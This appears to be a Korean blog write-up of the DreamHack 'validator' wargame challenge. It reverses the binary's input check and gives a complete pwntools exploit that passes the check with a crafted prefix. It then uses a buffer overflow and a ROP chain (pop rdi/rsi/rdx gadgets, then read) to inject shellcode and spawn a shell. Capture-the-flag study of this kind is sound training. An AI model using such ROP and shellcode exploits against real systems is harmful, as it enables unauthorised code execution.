본문 바로가기

DreamHack: System Hacking/F Stage 15

validator

이 문제와는 별개로 Stage 15 -> Logical Bug: Path Traversal에 관한 내용은 아래에 잘 설명돼있다.

https://dreamhack.io/lecture/courses/111

 

Logical Bug: Path Traversal

Path Traversal 취약점에 대해 배우고, 이를 공격에 활용하는 방법을 학습합니다.

dreamhack.io

 

 

이 문제는 소스코드 없이 바이너리만이 주어진다.

따라서, 바이너리를 리버싱 하여 취약점을 찾아내고 그를 통해 exploit 해야 하는 문제이다.

(참고로. 바이너리로 주어진 validate_dist와 validate_server는 코드를 살펴봤을 때 차이가 없어 나는 validate_dist를 타겟으로 삼아 문제를 풀었다.)

 

보호 기법

어떠한 보호 기법도 적용돼있지 않음을 확인할 수 있다.

 

그럼 이제 IDA와 pwndbg를 통해 이 바이너리의 소스 코드 내용을 유추해보자

 

main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate((__int64)s, 0x80uLL);
  return 0;
}

IDA의 Hex-Ray 기능을 통해 확인한 main 함수의 모습이다.

-char형 배열 s[128]이 선언되어 있다.

-s의 원소를 0x10(16)만큼 0으로 초기화하고

-read 함수를 통해 0x400만큼 입력받아 s에 저장한다(BOF를 일으킬 수 있겠다.)

-그리고 validate라는 함수의 인자로 s0x80을 주고 함수를 종료한다.

 

그럼 validate라는 함수는 무슨 역할을 하는 함수일지 살펴보자

 

validate(s, 0x80)

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((int)i + a1) != correct[i] )
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

-인자로 들어간 a1 == s, a2 == 0x80(128)이다.

-(1) 첫 번째 for문을 통해 s[0]~s[9]가 correct[0]~correct[9]와 같은지 검사하고, 같지 않다면 프로그램을 종료한다.

-(2) 두 번째 for문을 통해 s의 원소를 검사하여, 검사에 통과하지 못하면 프로그램을 종료한다.

검사하는 내용은 다음과 같다

s[11] == s[12]+1

s[12] == s[13]+1

s[13] == s[14]+1

...

s[127] == s[128]+1

 

참고로 schar s[128]로 선언됐으므로 index가 127번까지만 존재한다. 그러나 코드에서는 s[128]까지를 검사하므로 out of bound가 개미 똥꾸멍만큼 사용됐다고 볼 수 있겠다.

 

그럼 첫 번째 for문에서 검사하는 correct라는 변수가 무엇인지 살펴보자.

 

correct라는 변수는 0x601040에 위치해있음을 알 수 있다.

 

그 내용을 출력해본 결과 correct == "DREAMHACK!"이라는 문자열임을 알 수 있다.

 

validate 함수 정리

(1) 첫 번째 for문을 통해 s[0]~s[9] == "DREAMHACK!"인지 검사

(2) 두 번째 for문을 통해

s[11] == s[12]+1

s[12] == s[13]+1

s[13] == s[14]+1

...

s[127] == s[128]+1

인지 검사

(3) 두 검사 모두 통과하면 main 함수로 return

(s[10]에 관한 검사 내용은 딱히 존재하지 않는다)

 

 

exploit 설계

목표: 모든 보호기법이 꺼져 있으니, read함수를 통해 validate 함수의 검증을 우회하면서 bof를 일으켜 ROP chain을 통해 shellcode를 특정 영역에 삽입한 후, rip를 shellcode의 위치로 옮겨 shellcode를 실행시킨다.

 

Step 1. 우리의 ROP chain에 쓰일 리턴 가젯의 주소들을 알아보자. 나는 read 함수를 통해 특정 위치에 shellcode를 주입시킬 것이므로 read 함수에 쓰이는 인자인 rdi(fd), rsi(buf), rdx(size)와 관련된 가젯을 찾아보자.

 

내가 원하는 리턴 가젯들을 모두 구했다.

 

(------------------ 번외 ------------------

참고로 pop rdx와 같은 리턴 가젯들은 구하기 어려운데, 이게 왜 여기에 있을 수 있냐면 dreamhack이 문제를 설계할 때 우리를 배려해줬다. 해당 바이너리의 함수들을 살펴보면

gadget이라는 함수가 존재하는 걸 확인할 수 있다. 이 함수의 내용을 disassemble 해보면

pop rdx; ret;이 존재함을 알 수 있다. 그리고 이 주소는 ROPgadget 명령어를 통해 구한 pop rdx; ret;의 주소와 일치한다. 그래서 pop rdx; ret; 은 사실 dreamhack이 우리더러 쓰라고 만들어서 준 코드인 것이다.

------------------ 번외 끝 ------------------)

 

Step 2. shellcode를 어디에 주입할까 생각해봤다. 그 결과 나는 NX의 적용 여부와 관계 없이 실행 권한이 있는 code 영역에 주입하면 좋을 거 같다고 생각했다.

그래서 vmmap으로 살펴본 결과

0x601000 ~ 0x602000의 위치가 좋겠다. 그리고 그 영역의 값들을 출력해본 결과 다음과 같다.

0x601050 다음부터는 모두 NULL로 초기화 돼있는 것을 보아 사용되지 않는 영역인 것 같다. 그래서 나는 shellcode를 0x601050의 위치에 넣어줄 것이다.

 

step 3. main함수의 스택 구조 파악

이제 이 정도는 부가 설명 없이도 스택 구조를 파악할 수 있을 것이라 판단하고 추가적인 설명은 하지 않겠다.

 

 

step 4. validate()를 우회할 payload 구성

나는 validate()를 우회하기 위한 payload를 다음과 같이 구성했다.

payload = b'DREAMHACK!'
for i in range(119, 0, -1):
    payload += bytes([i])

 

이제 모든 준비를 마쳤으니 ROP를 통해 exploit을 해보자

 

 

exploit(validator.py)

from pwn import *
p = remote('host3.dreamhack.games', 14421)
e = ELF('./validator_dist')
context.arch = 'amd64'

pop_rdi_ret = 0x4006f3
pop_rsi_r15_ret = 0x4006f1
pop_rdx_ret = 0x40057b
read_plt = e.plt['read']
free_code_area = 0x601050

payload = b'DREAMHACK!'
for i in range(119, 0, -1):
    payload += bytes([i])

payload += b'b'*7
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(free_code_area) + p64(0)
payload += p64(pop_rdx_ret) + p64(300) + p64(read_plt)
payload += p64(free_code_area)

p.send(payload)

p.send(asm(shellcraft.amd64.linux.sh())) # read(0, free_code_area, 300) is executed -> input == shellcode

p.interactive()

 

그리고 아래는 bof를 일으킨 스택의 ROP chain 모습이다